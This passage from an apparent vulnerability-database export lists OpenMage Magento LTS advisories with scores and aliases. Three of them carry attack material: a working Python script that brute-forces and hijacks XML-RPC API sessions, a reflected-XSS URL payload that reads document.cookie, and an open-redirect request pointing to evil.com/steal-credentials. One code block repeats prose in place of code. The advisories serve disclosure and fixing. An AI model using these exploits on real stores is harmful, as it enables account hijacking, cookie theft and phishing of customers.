|
| aliases |
CVE-2026-40488, GHSA-3j5q-7q7h-2hhv
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-fken-twwj-gkaq |
|
| 10 |
| url |
VCID-g75g-ab3s-y7db |
| vulnerability_id |
VCID-g75g-ab3s-y7db |
| summary |
Cross-Site Request Forgery (CSRF) in openmage/magento-lts. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-21395 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00088 |
| scoring_system |
epss |
| scoring_elements |
0.25278 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00088 |
| scoring_system |
epss |
| scoring_elements |
0.25154 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00088 |
| scoring_system |
epss |
| scoring_elements |
0.25211 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00088 |
| scoring_system |
epss |
| scoring_elements |
0.25182 |
| published_at |
2026-06-04T12:55:00Z |
|
| 4 |
| value |
0.00088 |
| scoring_system |
epss |
| scoring_elements |
0.25261 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-21395 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
| reference_url |
https://hackerone.com/reports/1086752 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.2 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
4.3 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T21:01:23Z/ |
|
|
| url |
https://hackerone.com/reports/1086752 |
|
| 5 |
|
| 6 |
| reference_url |
https://packagist.org/packages/openmage/magento-lts |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
4.2 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N |
|
| 1 |
| value |
4.3 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N |
|
| 2 |
| value |
MODERATE |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-03-10T21:01:23Z/ |
|
|
| url |
https://packagist.org/packages/openmage/magento-lts |
|
| 7 |
|
| 8 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-21395, GHSA-r3c9-9j5q-pwv4, GMS-2023-158
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-g75g-ab3s-y7db |
|
| 11 |
| url |
VCID-gewj-4tzh-k3e5 |
| vulnerability_id |
VCID-gewj-4tzh-k3e5 |
| summary |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-41143 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.01224 |
| scoring_system |
epss |
| scoring_elements |
0.7948 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.01224 |
| scoring_system |
epss |
| scoring_elements |
0.79467 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.01224 |
| scoring_system |
epss |
| scoring_elements |
0.79478 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.01224 |
| scoring_system |
epss |
| scoring_elements |
0.79452 |
| published_at |
2026-06-04T12:55:00Z |
|
| 4 |
| value |
0.01224 |
| scoring_system |
epss |
| scoring_elements |
0.79485 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-41143 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-41143, GHSA-5vpv-xmcj-9q85, GMS-2023-155
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-gewj-4tzh-k3e5 |
|
| 12 |
| url |
VCID-gn12-464m-fkcu |
| vulnerability_id |
VCID-gn12-464m-fkcu |
| summary |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-39217 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00724 |
| scoring_system |
epss |
| scoring_elements |
0.72961 |
| published_at |
2026-06-07T12:55:00Z |
|
| 1 |
| value |
0.00724 |
| scoring_system |
epss |
| scoring_elements |
0.72978 |
| published_at |
2026-06-06T12:55:00Z |
|
| 2 |
| value |
0.00724 |
| scoring_system |
epss |
| scoring_elements |
0.7297 |
| published_at |
2026-06-05T12:55:00Z |
|
| 3 |
| value |
0.00724 |
| scoring_system |
epss |
| scoring_elements |
0.72947 |
| published_at |
2026-06-08T12:55:00Z |
|
| 4 |
| value |
0.00724 |
| scoring_system |
epss |
| scoring_elements |
0.72933 |
| published_at |
2026-06-04T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-39217 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-39217, GHSA-c9q3-r4rv-mjm7, GMS-2023-156
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-gn12-464m-fkcu |
|
| 13 |
|
| 14 |
|
| 15 |
| url |
VCID-mdd4-wk6v-a3cw |
| vulnerability_id |
VCID-mdd4-wk6v-a3cw |
| summary |
OpenMage vulnerable to XSS in Admin Notifications
OpenMage versions v20.15.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2025-64174 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00034 |
| scoring_system |
epss |
| scoring_elements |
0.10306 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00034 |
| scoring_system |
epss |
| scoring_elements |
0.1039 |
| published_at |
2026-06-07T12:55:00Z |
|
| 2 |
| value |
0.00034 |
| scoring_system |
epss |
| scoring_elements |
0.10432 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00034 |
| scoring_system |
epss |
| scoring_elements |
0.10412 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2025-64174 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2025-64174, GHSA-qv78-c8hc-438r
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-mdd4-wk6v-a3cw |
|
| 16 |
| url |
VCID-tqce-uume-myc2 |
| vulnerability_id |
VCID-tqce-uume-myc2 |
| summary |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-41231 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00992 |
| scoring_system |
epss |
| scoring_elements |
0.77275 |
| published_at |
2026-06-07T12:55:00Z |
|
| 1 |
| value |
0.00992 |
| scoring_system |
epss |
| scoring_elements |
0.77286 |
| published_at |
2026-06-06T12:55:00Z |
|
| 2 |
| value |
0.00992 |
| scoring_system |
epss |
| scoring_elements |
0.77276 |
| published_at |
2026-06-05T12:55:00Z |
|
| 3 |
| value |
0.00992 |
| scoring_system |
epss |
| scoring_elements |
0.77266 |
| published_at |
2026-06-08T12:55:00Z |
|
| 4 |
| value |
0.00992 |
| scoring_system |
epss |
| scoring_elements |
0.77245 |
| published_at |
2026-06-04T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-41231 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-41231, GHSA-h632-p764-pjqm, GMS-2023-157
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-tqce-uume-myc2 |
|
| 17 |
| url |
VCID-upex-64ca-uqbf |
| vulnerability_id |
VCID-upex-64ca-uqbf |
| summary |
Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs
Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`)
Affected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method
## Summary
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
```php
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
```
All inputs to the MD5 hash are time-derived and non-secure:
| Input | Value | Predictability |
|----------------------------|---------------------------------------------------|----------------------------------------|
| `time()` | Unix timestamp (seconds) | Fully predictable |
| `uniqid('', true) prefix` | `sprintf('%08x%05x', $sec, $usec/10)` | Highly predictable via network timing |
| `uniqid('', true) suffix` | `php_combined_lcg()` decimal float | Process-state dependent (`getpid() ^ time()`) |
| `$sessionName` | `null` (empty) — called without arg | Constant |
Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.
## Technical Analysis
### Code Path
```
POST /api/xmlrpc/ → login(username, apiKey)
→ Mage_Api_Model_Session::login()
→ $session->init('api', 'api')
→ Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
# $sessionName is NOT forwarded to start()
→ Mage_Api_Model_Session::start() ← NO $sessionName argument
# $sessionName = null inside start()
$this->_currentSessId = md5(time() . uniqid('', true) . null)
```
Note: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`.
## Live Evidence
Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec= 1775817593`):
```
Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118)
```
The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.
<img width="772" height="506" alt="image" src="https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de" />
## Steps to Reproduce (Online Brute-Force Scenario)
Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.
### Step 1 – Record Login Timestamp
An attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.
### Step 2 – Generate Candidate Pool
The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).
```
$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants
```
### Step 3 – API Brute-Force (Session Hijack)
Because the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.
```
POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
<methodName>[magento.info](http://magento.info/)</methodName>
<params>
<param><value><string>CANDIDATE_SESSION_ID</string></value></param>
</params>
</methodCall>
```
A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.
<img width="1039" height="374" alt="image" src="https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849" />
## Impact
### Technical Impact
Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:
- Full product catalog read/write (`catalog_product.*`)
- Customer data read (`customer.list`, `customer.info`)
- Order manipulation (`sales_order.*`)
Inventory control (`cataloginventory_stock_item.*`)
### Business Impact
- **Data Exfiltration**: Read all customer PII, order history, and payment methods.
- **Order Fraud**: Create or cancel orders, change shipping addresses.
- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.
### Affected API Protocols
The same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:
- XML-RPC: `/api/xmlrpc/`
- SOAP v1: `/api/soap/`
- SOAP v2: `/api/v2_soap/`
- REST (legacy): `/api/rest/`
### Recommended Fix
Replace the time-derived token with a cryptographically secure random value:
```
// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);
// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output
```
`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.
I have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment
I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):
```py
#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()
if len(sys.argv) < 4:
sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")
url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)
print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')
if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
sys.exit("[-] Login failed. Check credentials.")
print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)
print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
try: return sid if "faultCode" not in req(payload).text else None
except: return None
with ThreadPoolExecutor(max_workers=th) as ex:
for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
if sid := f.result():
print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
ex.shutdown(wait=False, cancel_futures=True)
break
```
This is an AI-generated report validated by a human. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42155 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00055 |
| scoring_system |
epss |
| scoring_elements |
0.17674 |
| published_at |
2026-06-06T12:55:00Z |
|
| 1 |
| value |
0.00055 |
| scoring_system |
epss |
| scoring_elements |
0.17561 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00055 |
| scoring_system |
epss |
| scoring_elements |
0.17641 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00055 |
| scoring_system |
epss |
| scoring_elements |
0.1768 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42155 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-42155, GHSA-2cwr-gcf9-pvxr
|
| risk_score |
4.5 |
| exploitability |
0.5 |
| weighted_severity |
9.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-upex-64ca-uqbf |
|
| 18 |
| url |
VCID-xazc-hmj9-guas |
| vulnerability_id |
VCID-xazc-hmj9-guas |
| summary |
Magento LTS: Reflected XSS - Import -> Data Flow (profiles)
A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.
## Steps to produce
+ Login to the admin panel
+ Go to the path `System -> Import/Export -> Dataflow - Profiles`
+ Select profile direction as `Import`.
+ Click on `Import Customers`
+ Upload the file.
File Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)
+ Go back to `Run profile`.
+ Select the uploaded file and Click on `Run in Popup`.
+ One can see a URL like this
```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/
```
+ One can see the filename getting reflection in HTML tags.
+ Inject an HTML tag and observe.
```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/
```
<img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" />
+ One can see the tag is getting executed.
+ Proceed for XSS.
```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E
```
<img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" />
+ There is an XSS popup.
## Impact
Cookie stealing, JS deface, many more |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42458 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00062 |
| scoring_system |
epss |
| scoring_elements |
0.19578 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00062 |
| scoring_system |
epss |
| scoring_elements |
0.1946 |
| published_at |
2026-06-08T12:55:00Z |
|
| 2 |
| value |
0.00062 |
| scoring_system |
epss |
| scoring_elements |
0.19529 |
| published_at |
2026-06-07T12:55:00Z |
|
| 3 |
| value |
0.00062 |
| scoring_system |
epss |
| scoring_elements |
0.19573 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42458 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-42458, GHSA-x8jv-q8j2-487c
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-xazc-hmj9-guas |
|
| 19 |
| url |
VCID-xhm4-u8ax-wuew |
| vulnerability_id |
VCID-xhm4-u8ax-wuew |
| summary |
Magento LTS Vulnerable to Open Redirect via Unvalidated `uenc` Parameter in `stockAction()`
## Summary
`Mage_ProductAlert_AddController::stockAction()` reads the uenc query parameter and passes it directly to `$this->_redirectUrl($backUrl)` without calling `$this->_isUrlInternal()` When the supplied `product_id` does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as `uenc`.
## Vulnerable path:
```php
// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()
$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED); // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');
if (!$backUrl || !$productId) {
$this->_redirect('/');
return;
}
$product = Mage::getModel('catalog/product')->load($productId);
if (!$product->getId()) {
$session->addError($this->__('Not enough parameters.'));
$this->_redirectUrl($backUrl); // ← NO _isUrlInternal() check
return;
}
```
### Secure peer (priceAction()):
```php
if (!$product->getId()) {
if ($this->_isUrlInternal($backUrl)) { // ← validation present
$this->_redirectUrl($backUrl);
} else {
$this->_redirect('/');
}
return;
}
```
## Steps to Reproduce
### Prerequisites
- OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
- A valid, logged-in customer session on the target store
#### Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)
The `preDispatch()` hook calls `Mage::getSingleton('customer/session')->authenticate($this)`. If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.
<img width="1548" height="638" alt="image" src="https://github.com/user-attachments/assets/64c18279-ec0a-4110-b8f4-d952870e348c" />
#### Step 2 – Craft the Malicious URL
The `uenc` parameter is read raw via `getParam()` with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:
```
GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>
```
Key conditions:
- `product_id` must reference a non-existent product (triggers the vulnerable branch; any large ID works)
- `uenc` is the raw destination URL (no base64 encoding required)
<img width="1554" height="852" alt="image" src="https://github.com/user-attachments/assets/d8530247-2d2f-4747-bf16-ece71a507b50" />
## Impact
### Technical Impact
An attacker who controls the `uenc` parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.
### Business-Level Attack Vectors
| Scenario | Description |
|------------------------|-----------------------------------------------------------------------------|
| Credential phishing | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. |
| OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. |
| Affiliate fraud | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. |
| Malware distribution | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |
### Propagation
A single malicious link can be embedded in:
- Customer emails (“Click here for stock notification preferences”)
- Forum posts, social media, or product reviews on the store
- SEO-poisoned search results that rank the store’s domain
## Recommended Fix
Apply the same `_isUrlInternal()` guard used in `priceAction()` to the `stockAction()` missing-product
This is an AI-generated report.
An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version. |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42207 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00029 |
| scoring_system |
epss |
| scoring_elements |
0.08688 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.00029 |
| scoring_system |
epss |
| scoring_elements |
0.0874 |
| published_at |
2026-06-05T12:55:00Z |
|
| 2 |
| value |
0.00029 |
| scoring_system |
epss |
| scoring_elements |
0.08755 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.00029 |
| scoring_system |
epss |
| scoring_elements |
0.08736 |
| published_at |
2026-06-07T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-42207 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-42207, GHSA-qpgq-5g92-j5q8
|
| risk_score |
3.1 |
| exploitability |
0.5 |
| weighted_severity |
6.2 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-xhm4-u8ax-wuew |
|
|